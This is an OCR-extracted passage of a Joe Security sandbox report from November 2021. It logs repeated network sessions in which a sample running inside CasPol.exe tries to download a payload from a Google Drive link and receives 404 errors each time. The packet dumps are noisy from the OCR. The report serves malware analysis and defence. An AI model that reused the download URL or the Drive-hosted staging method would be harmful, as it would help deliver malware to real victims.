ouTt

Source Port

49912

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-FBsdEK63mZO5BoxwgTrasA' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:15 GMT

Expires: Wed, 24 Nov 2021 10:55:15 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-vnHg+EmcU/DRzeZ9EKYFWw' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:15 GMT

Expires: Wed, 24 Nov 2021 10:55:15 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:16 UTC 133

2021-11-24 10:55:16 UTC 133

2021-11-24 10:55:16 UTC 134

2021-11-24 10:55:16 UTC 134

Session ID Source IP

9 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:41 UTC 13

2021-11-24 10:54:41 UTC 14

2021-11-24 10:54:41 UTC 15

2021-11-24 10:54:41 UTC 15

Session ID Source IP
90 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49831

Direction

ouT

Source Port

49913

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-FsKLJ1sSINmVj/wivD5K3g' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:16 GMT

Expires: Wed, 24 Nov 2021 10:55:16 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘'nonce-y4QM/eaAyvg0Dn/zT5stuw' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:41 GMT

Expires: Wed, 24 Nov 2021 10:54:41 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:16 UTC 134

2021-11-24 10:55:16 UTC 135

2021-11-24 10:55:16 UTC 136

2021-11-24 10:55:16 UTC 136

Session ID Source IP

91 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:16 UTC 136

2021-11-24 10:55:17 UTC 136

2021-11-24 10:55:17 UTC 137

2021-11-24 10:55:17 UTC 137

Session ID Source IP
92 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49914

Direction

ouTt

Source Port

49915

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-zNB1Qg619v5dAneN7gMfNA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:16 GMT

Expires: Wed, 24 Nov 2021 10:55:16 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-gnDHgAeXyQHXWJ8so0PM1A' ‘unsafe-inline’ 'strict-dynamic’ https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:17 GMT

Expires: Wed, 24 Nov 2021 10:55:17 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:17 UTC 137

2021-11-24 10:55:17 UTC 138

2021-11-24 10:55:17 UTC 139

2021-11-24 10:55:17 UTC 139

Session ID Source IP

93 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:17 UTC 139

2021-11-24 10:55:17 UTC 139

2021-11-24 10:55:17 UTC 140

2021-11-24 10:55:17 UTC 140

Session ID Source IP
94 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49916

Direction

ouT

Source Port

49918

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-klcyw3/1fF803vslhLX5VQ" 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:17 GMT

Expires: Wed, 24 Nov 2021 10:55:17 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-LcugiMw+KdXyQzvEyJgPRA' ‘'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:17 GMT

Expires: Wed, 24 Nov 2021 10:55:17 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:18 UTC 140

2021-11-24 10:55:18 UTC 141

2021-11-24 10:55:18 UTC 142

2021-11-24 10:55:18 UTC 142

Session ID Source IP

95 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:18 UTC 142

2021-11-24 10:55:18 UTC 142

2021-11-24 10:55:18 UTC 143

2021-11-24 10:55:18 UTC 143

Session ID Source IP
96 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49919

Direction

ouTt

Source Port

49920

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-b/Ab22VzEP8RhhKvzMXcig' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:18 GMT

Expires: Wed, 24 Nov 2021 10:55:18 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-HfkCC80Kbl7q6W4zsGzJIBQ' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:18 GMT

Expires: Wed, 24 Nov 2021 10:55:18 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

